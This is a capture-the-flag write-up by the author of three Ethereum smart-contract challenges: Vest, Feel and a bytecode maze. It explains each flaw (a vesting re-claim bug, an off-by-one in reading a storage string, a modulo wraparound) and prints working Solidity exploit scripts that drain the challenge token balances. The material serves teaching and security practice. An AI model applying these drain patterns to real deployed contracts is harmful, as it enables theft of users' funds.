As a member of Project Sekai, I authored 3 challenges. Working with mixy and Immunefi onsite was a very rewarding experience for me.
The ETH Escape CTF is hosted by
Ethereum Foundation ⚔ immunefi
, onsite event during the devcon. https://lu.ma/viyjky8t
I authored three challenges: Vest
, Feel
, and MAZE
, designed for the 1st, 5th, and final rounds, respectively. Both Vest
and Feel
had 0 solves, while MAZE
had one solve during the CTF. However, there were two additional solves a few minutes after the CTF ended TㅅT
Vest
round 5, 0 solve
Three contract files are given: VestToken
, Setup
, and Vest
.
VestToken
is an ERC20 token contract with a total supply of50000
ether.- The
Setup
contract creates theVestToken
andVest
contracts. It also transfers50000
ether worth of tokens to theVest
contract. The goal is to make the token balance of theSetup
contract equal to50000
ether.
Vest contract
The Vest
contract provides the vesting
service. There are three external functions: createVesting
, transferVesting
, and claimVesting
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function createVesting(address beneficiary) external {
require(beneficiary != address(0), "Invalid beneficiary address");
require(vestingCount < 10, "Maximum number of vestings reached");
vestings[vestingCount] = Vesting({
start: block.timestamp,
totalAmount: FIXED_AMOUNT,
claimedAmount: 0,
beneficiary: beneficiary,
step: 0
});
vestingCount++;
emit VestingCreated(vestingCount, beneficiary, FIXED_AMOUNT);
}
In the createVesting
function, it creates a new vesting with vestingCount
. FIXED_AMOUNT
is 1000
ether. Creating only 10 vestings is allowed.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function transferVesting(uint256 vestingId,address newBeneficiary, uint256 amount,uint256 newVestingId) external onlyBeneficiary(vestingId) {
require(newBeneficiary != address(0), "New beneficiary is zero address");
address previousBeneficiary = vestings[vestingId].beneficiary;
vestings[vestingId].totalAmount -= amount;
vestings[vestingId].step = 0;
vestings[newVestingId] = Vesting({
start: block.timestamp,
totalAmount: amount,
claimedAmount: 0,
beneficiary: newBeneficiary,
step: 0
});
emit VestingTransferred(vestingId, previousBeneficiary, newBeneficiary);
}
There’s a bug in the transferVesting
function. It decreases totalAmount
by the amount to send and initializes the step
. After that, it creates a new vesting with newVestingId
for that amount with a new beneficiary.
The bugs:
newVestingId
can be an existingvestingId
, but there is no way to drain or bypass the restriction with this bug. If misused, this bug allows overwriting an existing vesting with a smaller amount.- The function does not check the
claimAmount
of the previous vesting. As a result, a user can send an already claimed vesting to themselves again. WithtotalAmount
, the user can create vestings again without increasingvestingCount
.
So, the user can claim more than 10000
ether. However, as mentioned in the description, there is a time limit for this challenge.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function claimVesting(uint256 vestingId) external onlyBeneficiary(vestingId) {
Vesting storage vesting = vestings[vestingId];
uint256 elapsed = block.timestamp - vesting.start;
uint256 totalSteps = TOTAL_STEPS - vesting.step;
uint256 availableSteps = elapsed / CLAIM_INTERVAL;
if (availableSteps > totalSteps) {
availableSteps = totalSteps;
}
uint256 claimableAmount = (vesting.totalAmount * availableSteps) / totalSteps;
uint256 claimableNow = claimableAmount - vesting.claimedAmount;
require(claimableNow > 0, "No tokens available for claim at this time");
vesting.claimedAmount += claimableNow;
require(token.transfer(vesting.beneficiary, claimableNow), "Token transfer failed");
emit Claimed(vestingId, claimableNow);
}
Let’s look at the claimVesting
function. TOTAL_STEPS
is 5*5
, and CLAIM_INTERVAL
is 5
. This means the user must wait 25
seconds to claim the totalAmount
of the vesting. Since 10 vestings can be created at once, the user can claim 10000
ether every 25
seconds. To claim the totalSupply
, the user must wait at least 125
seconds. How doable!
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Setup} from "src/challenge/Setup.sol";
import {Vest} from "src/challenge/Vest.sol";
import {VestToken} from "src/challenge/VestToken.sol";
contract Exploit {
Setup public setup;
Vest public vest;
VestToken public token;
constructor(Setup _setup, Vest _vest, VestToken _token)
{
setup = _setup;
vest = _vest;
token = _token;
}
function run1() public {
for(uint i=0;i<10;i++){
vest.createVesting(address(this));
}
}
function run2() public returns (uint256) {
for(uint i=0;i<10;i++){
vest.claimVesting(i);
vest.transferVesting(i, address(address(this)), 1000 ether, i);
}
return token.balanceOf(address(this));
}
function run3() public {
token.transfer(address(setup), token.balanceOf(address(this)));
}
}
This is exploit contract and the exploit scenario is as follows:
- Create 10 vestings.
- Claim the 10 vestings after
25
seconds and transfer the vestings to itself. - Repeat step 2 five times.
- Send the token amount of
50000
ether to thesetup
contract.
NOTE
The attack scenario used in this challenge is kind of a real-world case. I encountered a similar issue before but couldn’t exploit it because the function had proper access control 🙃. It was surprised when someone approached me after the CTF and told me he really enjoyed this challenge because he had encountered a similar bug case a few years ago lol
I believe this challenge is pretty easy, but the time for each round was too short (two challenges in 60 minutes).
In the original version, the function reverts when the vesting is completed (claimable amount is 1000
ether), and TOTAL_STEPS
and CLAIM_INTERVAL
were significantly longer. The exploit required almost 10 minutes, which often led to server timeouts. This meant I had to write a fully accurate script, including fetching RPC info, precise sleep timings, and more, to execute the exploit successfully.
Feel
round 1, 0 solve
Also, three contract files are given: Feel
, FeelToken
, and Setup
.
FeelToken
is an ERC20 token contract with atotalSupply
of20
ether.- The
Setup
contract creates theFeel
andFeelToken
contracts and sends20
ether worth ofFeelToken
to theFeel
contract.
The goal is to make the token balance of theSetup
contract equal to20
ether.
Feel contract
The Feel
contract provides milestone service, which is similar to Vest
challenge.
1
2
3
4
5
6
7
8
function addMilestone(uint256 id, string calldata note) public {
require(milestones[id].id == 0, "Feel: milestone id already exists");
require(id > 0, "Feel: milestone id must be greater than 0");
require(milestoneCount < 10, "Feel: maximum 10 milestones allowed");
milestones[id] = Milestone(id, 1 ether, block.timestamp + 5 minutes, msg.sender, note, Status.Locked);
milestoneCount++;
}
Let’s first look at the addMilestone
function. The user can specify an id
that does not exist previously, and the maximum number of milestones is limited to 10.
1
2
3
4
5
6
7
8
struct Milestone {
uint256 id;
uint256 amount;
uint256 unlockTime;
address recipient;
string note;
Status status;
}
The Milestone
struct has six members. The user can only specify the id
and note
. They can earn 1
ether for completing one milestone.
1
2
3
4
5
6
function unlockMilestone(uint256 id) public {
Milestone storage milestone = milestones[id];
require(milestone.status == Status.Locked, "Feel: milestone is already unlocked");
require(block.timestamp >= milestone.unlockTime, "Feel: milestone is not unlocked yet");
milestone.status = Status.Unlocked;
}
The user can unlock a milestone after 5 minutes (default).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function claimMilestone(uint256 id) public {
Milestone storage milestone = milestones[id];
require(milestone.status == Status.Unlocked, "Feel: milestone is locked");
uint256 milestones_slot_key = uint256(keccak256(abi.encode(id, MILESTONES_SLOT_KEY)));
bytes32 note_key = bytes32(milestones_slot_key + 4);
uint256 string_length = StorageSlot.getUint256Slot(note_key).value;
bytes memory note_bytes;
if (string_length & 0x1 == 0) {
uint256 length = (string_length&0xff) >> 1;
bytes32 note_bytes32 = StorageSlot.getBytes32Slot(note_key).value;
note_bytes = abi.encodePacked(note_bytes32);
} else {
uint256 length = (string_length >> 1) -1;
uint256 extra_slots = (length + 31) >> 5;
uint256 extra_slots_start = uint256(keccak256(abi.encode(note_key)));
note_bytes;
for (uint256 i = 0; i < extra_slots; i++) {
note_bytes = abi.encodePacked(note_bytes, StorageSlot.getBytes32Slot(bytes32(extra_slots_start + i)).value);
}
}
require(findClaimString(note_bytes) == false, "Feel: milestone is already claimed");
milestone.note = string(abi.encodePacked(milestone.note, " [CLAIMED]"));
token.transfer(milestone.recipient, milestone.amount);
milestoneCount -= 1;
}
The user can claim a milestone with claimMilestone
when its status is Unlocked
. However, there’s a strange check for this condition.
First, it retrieves the storage value in the note
of the milestone and checks if the first bit is set.
In particular: if the data is at most
31
bytes long, the elements are stored in the higher-order bytes (left aligned) and the lowest-order byte stores the valuelength * 2
. For byte arrays that store data which is32
or more bytes long, the main slotp
storeslength * 2 + 1
and the data is stored as usual inkeccak256(p)
. This means that you can distinguish a short array from a long array by checking if the lowest bit is set: short (not set) and long (set).
If the length of the note
is less than 32 bytes, it retrieves 32 bytes from storage directly. Otherwise, it calculates how many slots to retrieve based on the length of the string and then retrieves the entire string. It then checks for the presence of the [CLAIMED]
substring in the note
. The findClaimString
function, created with GPT, has no bugs for this functionality :3
If the string [CLAIMED]
is not found, the function appends the string to the note
, sends the token to the user, and decreases milestoneCount
by 1. This allows the possibility of creating a new milestone after claiming a milestone. However, the server timeout is 9 minutes
The bugs:
- The
note_bytes32
includes the length of the note, not just the data. However, this doesn’t affect the outcome in this challenge. - The length is calculated incorrectly using
(string_length >> 1) - 1
instead of the correct formula(string_length - 1) >> 1
. As a result, the length is calculated as one less than the original length. This becomes problematic when the length is32*n + 1
, especially33
. In this case, the length is calculated as32
, and theextra_slots
is calculated as1
. Consequently, one less slot is retrieved. If the length of the note after appending the[CLAIMED]
string becomes32*n + 1
, the last character]
is missed, allowing the milestone to be claimed twice.
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {Setup} from "src/challenge/Setup.sol";
import {Feel} from "src/challenge/Feel.sol";
import {FeelToken} from "src/challenge/FeelToken.sol";
contract ExploitScript is Script {
function run() public {
vm.startBroadcast();
Setup setup = Setup(vm.envAddress("SETUP"));
Feel feel = Feel(setup.feel());
FeelToken token = FeelToken(setup.token());
console.log("timestamp 1", feel.getTime());
for(uint i=1;i<=10;i++){
feel.addMilestone(i,"xxxxxxxxxxxxxxxxxxxxxxx");
}
vm.stopBroadcast();
}
function run2() public {
vm.startBroadcast();
Setup setup = Setup(vm.envAddress("SETUP"));
Feel feel = Feel(setup.feel());
console.log("timestamp 2", feel.getTime());
FeelToken token = FeelToken(setup.token());
for(uint i=1;i<=10;i++){
feel.unlockMilestone(i);
feel.claimMilestone(i);
feel.addMilestone(i+50,"xxxxxxxxxxxxxxxxxxxxxxx");
feel.claimMilestone(i);
}
console.log("balance: ", token.balanceOf(msg.sender));
token.transfer(address(setup), token.balanceOf(msg.sender));
vm.stopBroadcast();
}
}
The exploit scenario is:
- Add 10 milestones with notes of length
23
(after appending[CLAIMED]
, the length will become33
). - Wait 5 minutes to unlock the milestones, claim a milestone, and add some milestones to prevent underflow. Then, claim the same milestone again.
NOTE
This challenge is also inspired by a real-world case. lol
MAZE
final, 1 solve
The only one file was given. Setup.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pragma solidity ^0.8.25;
contract Setup {
address public maze;
constructor() {
bytes memory code = hex"61025e80600a3d393df35f3560e01c63deadbeef146100135761001c565b5f545f5260205ff35b7f41327924f1b91fe820120120804b93f9248e3926010092082080000036fbefb85f527f8c4f3a002402480003238db6237239920124124120b1db1249271c64120924006020527f24904920be1b9249246fa082092492003238e493c6fc9900120804824b7e47e46040527ff9fb9ff9dc9804020920904b927ee49249da0804004920131c9230c30c4990486060527f260920100904132493f7230df1904804120804c7e3fe7fe3e2640200000008316080527f4000b7279ff93bee64100000820831f11bf1c93ce804920104800ced89e7718f60a0526a013feff7ff7ffe8008040060c052610232610140525f610100525b6101005180361461024557600190610120376101205160f81c80607714610149578060611461018857806073146101c75780606414610206575b6101006031610140510361065090068080929004602002519061010090061c6001901660011461025c576101405250610100516001016101005261010f565b6101006001610140510361065090068080929004602002519061010090061c6001901660011461025c576101405250610100516001016101005261010f565b6101006031610140510161065090068080929004602002519061010090061c6001901660011461025c576101405250610100516001016101005261010f565b6101006001610140510161065090068080929004602002519061010090061c6001901660011461025c576101405250610100516001016101005261010f565b6101405161064f146102565761025c565b60015f55005b00";
address _maze;
assembly {
_maze := create(0, add(code, 0x20), mload(code))
}
maze = _maze;
}
function isSolved() public returns (bool) {
(bool success, bytes memory result) = maze.call(hex"DEADBEEF");
uint256 ret = abi.decode(result, (uint256));
if(ret == 0x1) {
return true;
}
return false;
}
}
When the Setup
contract calls the maze contract with DEADBEEF
as calldata, it should return uint256(1)
.
bytecode reversing with decompiler
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
function __function_selector__() private {
if (0xdeadbeef == msg.data[0] >> 224) {
CodeIsLawZ95677371();
} else {
MEM[0] = 0x41327924f1b91fe820120120804b93f9248e3926010092082080000036fbefb8;
MEM[32] = 0x8c4f3a002402480003238db6237239920124124120b1db1249271c6412092400;
MEM[96] = 0xf9fb9ff9dc9804020920904b927ee49249da0804004920131c9230c30c499048;
MEM[128] = 0x260920100904132493f7230df1904804120804c7e3fe7fe3e264020000000831;
MEM[160] = 0x4000b7279ff93bee64100000820831f11bf1c93ce804920104800ced89e7718f;
MEM[192] = 0x13feff7ff7ffe80080400]
MEM[320] = 562;
while (msg.data.length != 0) {
CALLDATACOPY(288, 0, 1);
if (119 != MEM[288] >> 248) {
if (97 == MEM[288] >> 248) {
if (1 != MEM[(MEM[320] - 1) % 1616 >> 8 << 5] >> (MEM[320] - 1) % 1616 % (uint8.max + 1) & 0x1) {
MEM[320] = (MEM[320] - 1) % 1616;
MEM[uint8.max + 1] += 1;
}
} else if (115 == MEM[288] >> 248) {
if (1 != MEM[(MEM[320] + 49) % 1616 >> 8 << 5] >> (MEM[320] + 49) % 1616 % (uint8.max + 1) & 0x1) {
MEM[320] = (MEM[320] + 49) % 1616;
MEM[uint8.max + 1] += 1;
}
} else if (100 == MEM[288] >> 248) {
if (1 != MEM[(MEM[320] + 1) % 1616 >> 8 << 5] >> (MEM[320] + 1) % 1616 % (uint8.max + 1) & 0x1) {
MEM[320] = (MEM[320] + 1) % 1616;
MEM[uint8.max + 1] += 1;
}
}
}
if (1 != MEM[(MEM[320] - 49) % 1616 >> 8 << 5] >> (MEM[320] - 49) % 1616 % (uint8.max + 1) & 0x1) {
MEM[320] = (MEM[320] - 49) % 1616;
MEM[uint8.max + 1] += 1;
}
}
exit;
if (1615 == MEM[320]) {
_codeIsLawZ95677371 = 1;
exit;
}
}
}
First, we can decompile the bytecode using the Dedaub decompiler. However, the output seems quite different from what I expected, probably because I wrote this bytecode in Huff and used stack variables efficiently (ig).
As you can see, the map data is stored in 0x00 ~ 0xc0
, but 0x40
is missing in the decompiler. The initial position is stored in MEM[320]
(562 = 11 * 49 + 23 = [11][23]
). The loop iterates based on the length of the msg.data
, and MEM[uint8.max + 1]
(MEM[0x100]
) is used as the iterator.
It checks if the bit in the new location is set according to the map. The size of a row is 49
, and it should approach 1615
([34][47]
).
bytecode reversing with bytegraph.xyz
I prefer using bytegraph.xyz for analyzing bytecode.
It returns the value of slot 0
when the calldata is DEADBEEF
.
It stores map data in 0x00 ~ 0xc0
, position to 0x140
and iterator(0) to 0x100
The loop iterates until iterator reaches the calldatasize
, and if the position
equals 0x64f
after the loop, it stores 1
in slot 0
.
The user input can be one of the following: w
, a
, s
, or d
. I just realized a mistake: in other cases, it simply jumps to w
instead of stopping, haha..
There are six red boxes. Let’s examine the case of w
:
- It calculates the next position by subtracting
0x31
(the size of a row). (w -> -0x31, s -> +0x31, a -> -1, d -> +1
). - It performs a modulo operation with
0x650
. This is a bug because the position can be a negative value. If it is moduloed with0x650
, it can jump to another location. For example, when the new position is-1
(0xff...
), the result of the modulo with0x650
will be0x60F
(((1 << 256) - 1) % 0x650
). - It divides the position by
0x100
and multiplies the result by0x20
to determine the map to use. - It performs a modulo operation with
0x100
on the position and shifts the map to the right by that value to locate the corresponding bit. - It performs an AND operation with
1
to check the value of that bit. If the result is1
, the EVM stops.
Finally, it updates the location and increases the iterator.
The maze
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
maze = [0x41327924f1b91fe820120120804b93f9248e3926010092082080000036fbefb8,
0x8c4f3a002402480003238db6237239920124124120b1db1249271c6412092400,
0x24904920be1b9249246fa082092492003238e493c6fc9900120804824b7e47e4,
0xf9fb9ff9dc9804020920904b927ee49249da0804004920131c9230c30c499048,
0x260920100904132493f7230df1904804120804c7e3fe7fe3e264020000000831,
0x4000b7279ff93bee64100000820831f11bf1c93ce804920104800ced89e7718f,
0x13feff7ff7ffe80080400]
maze = [format(x,'0256b')[::-1] for x in maze]
maze = [list(x) for x in maze]
maze = sum(maze,[])
for i in range(0, 33):
for j in range(0, 49):
if i == 11 and j == 23:
print('S',end='')
elif maze[i*49+j] == '1':
print('#',end='')
else:
print('.',end='')
print()
You can print the maze using the code above.
The S
marks the starting point. If you try to find a way to reach the goal location, there will be no solution because I intentionally blocked the path to get there.
The intended solution is going to 0x00
, setting the new position to -1
, and then jumping to 0x60F
to escape the maze. However, there was an unintended solution that I couldn’t block. Additionally, there’s another method: reaching the location marked with a star also allows escaping the maze.
aaawwwwwwaaaaaaaaaawwaaaaaawwaaaawawwddddddssddddddddds
So, this was the intended solution.
NOTE
I really enjoy bytecode reversing or EVM internal challenges :3. Recently, I solved a bytecode challenge in SCTF and also authored a fun bytecode challenge for a local CTF final. If anyone is interested, feel free to DM me
Additionally, I made an easier version for Project Sekai CTF. It’s not bytecode reversing but a Solidity assembly challenge. If you’re interested, give it a try! Link
I was happy that many people especially enjoyed this challenge lol
END
kudos to immunefi, ethereum foundation and mixy. I had very nice weekend during the devcon. Hope to do this kind of event onsite again!